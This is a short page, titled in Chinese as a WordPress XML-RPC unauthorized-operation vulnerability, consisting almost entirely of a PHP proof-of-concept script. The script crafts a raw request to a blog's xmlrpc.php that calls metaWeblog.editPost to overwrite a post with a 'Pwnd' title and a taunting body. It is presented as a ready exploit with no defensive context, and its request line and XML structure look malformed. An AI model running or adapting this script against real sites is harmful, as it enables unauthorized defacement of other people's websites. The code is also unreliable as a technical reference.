Wordpress XML-RPC接口非授权操作漏洞

1. <?php 2. /** 3. * POC : XMLRPC Hack 4. * 5. */ 6. $host = ''; // blog url 7. $page = '/xmlrpc.php'; 8. $data = '<?xml version="1.0" ?> 9. <methodcall> 10. <methodname>metaWeblog.editPost</methodname> 11. <params> 12. <value> 13. <i4>post_ID</i4> 14. </value> 15. <value> 16. <string>username</string> 17. </value> 18. <value> 19. <string>password</string> 20. </value> 21. <struct> 22. <member> 23. <name>post_type</name> 24. <value>page</value> 25. </member> 26. <member> 27. <name>title</name> 28. <value> 29. <string>Pwnd</string> 30. </value> 31. </member> 32. <member> 33. <name>description</name> 34. <value>Whoo is ma biatch</value> 35. </member> 36. </struct> 37. </params> 38. </methodcall>'; 39. 40. $exploited = fsockopen($host, 80, $errorNumber, $errorString); 41. $requestHeader = " ".$page." HTTP/1.1\r\n"; 42. $requestHeader.= "Host: ".$host."\r\n"; 43. $requestHeader.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n"; 44. $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n"; 45. $requestHeader.= "Content-Length: ".strlen($data)."\r\n"; 46. $requestHeader.= "Connection: close\r\n\r\n"; 47. $requestHeader.= $data; 48. fwrite($exploited, $requestHeader ); 49. 50. echo 'done'; 51. ?>